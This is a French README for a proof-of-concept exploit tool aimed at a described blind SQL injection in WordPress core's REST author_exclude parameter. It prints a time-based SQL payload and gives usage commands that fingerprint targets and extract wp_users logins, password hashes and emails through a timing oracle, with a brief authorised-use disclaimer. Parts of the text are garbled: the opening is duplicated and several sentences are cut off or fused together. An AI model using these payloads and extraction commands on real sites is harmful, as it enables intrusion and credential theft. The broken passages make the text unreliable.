
Harness de preuve de concept et de vérification non destructif pour CVE-2026-60137, une injection SQL aveugle dans le noyau WordPress (`WP_Query::author__not_in`), accessible via le paramètre `author_exclude` de l'API REST.
Preuve de concept non destructrice et harnais de vérification pour CVE-2026-60137, une
injection SQL aveugle dans le cœur de WordPress (WP_Query::author__not_in), accessible via le
paramètre author_exclude de l'API REST.
WP_Query::get_posts() construit le SQL en concaténant sous forme de chaîne la variable de requête
author__not_in dans :
... AND {wpdb->posts}.post_author NOT IN ( <value> )
La valeur est assainie (absint par élément) uniquement lorsqu'elle arrive sous forme de tableau. Si une
chaîne scalaire est fournie — le paramètre REST author_exclude est mappé en interne vers
author__not_in — le contrôle d'assainissement is_array() est ignoré et la chaîne brute se retrouve
dans la clause NOT IN (...), ce qui entraîne une injection SQL (CWE-89).
Une charge utile de la forme 1) OR SLEEP(6)# produit :
post_author NOT IN ( 1) OR SLEEP(6)# )
qui est analysée comme post_author NOT IN (1) OR SLEEP(6) (la ) finale est consommée par
le commentaire #) — un oracle aveugle temporel propre, sans aucune écriture en base de données.
/wp-json/batch/v1.author_exclude scalaire (HTTP 400) sur la route posts
standard, le sink n'est donc généralement accessible que lorsqu'un plugin/thème transmet une
entrée non fiable, ou via une session authentifiée (--cookie) par la route batch.cve_2026_60137_poc.py est en lecture seule vis-à-vis de la base de données :
readme.html, index /wp-json/)
afin de vérifier si la version se trouve dans une plage affectée.SLEEP(0)
vs. charge utile SLEEP(n), sur plusieurs vecteurs de livraison (routes REST directes,
?rest_route=, et le point de terminaison batch), et rapporte un verdict par vecteur.wp_users (user_login, user_pass, user_email) via un
timing de recherche binaire aveugle, en utilisant strictement SELECT/SLEEP — il n'écrit jamais
dans la base de données.# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe
# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
Cet outil est fourni uniquement pour des tests de sécurité autorisés — tests d'intrusion, CTF et recherches sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite d'audit. L'exécuter contre des systèmes sans autorisation est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
Toute sortie écrite avec --json-out peut contenir l'URL testée, l'empreinte de version
et les preuves de timing — considérez-la comme des données d'engagement sensibles.
| Affectées | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Corrigées | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (sink autonome) |
| Chaînée | avec CVE-2026-63030 (confusion de route batch REST) → 9.8 RCE sans authentification sur 6.9.0 – 7.0.1 |
| Option | Défaut | Description |
|---|
--url | requis | URL de base de la cible |
--safe | désactivé | Empreinte uniquement ; n'envoie aucune charge utile |
--sleep | 6 | Secondes de SLEEP() utilisées par l'oracle de détection |
--samples | 3 | Échantillons de timing par mesure (la médiane est utilisée) |
--threshold | 0.7 | Fraction de --sleep considérée comme un delta positif |
--extract | désactivé | Extrait une ligne wp_users via l'oracle aveugle |
--user-id | 1 | wp_users.ID à extraire |
--extract-sleep | 2.0 | Secondes de SLEEP() par sonde d'extraction |
--limit | 64 | Nombre maximal de caractères par champ extrait |
--only-vector | — | Ne tester que les vecteurs dont le nom contient cette chaîne |
--cookie | — | Cookie authentifié pour les vecteurs soumis à authentification |
--proxy | — | Proxy HTTP(S), ex. http://127.0.0.1:8080 (Burp) |
--timeout | 30 | Délai d'expiration de la requête en secondes |
--no-verify-tls | désactivé | Désactive la vérification du certificat TLS |
--json-out | — | Écrit des preuves lisibles par machine dans un fichier JSON |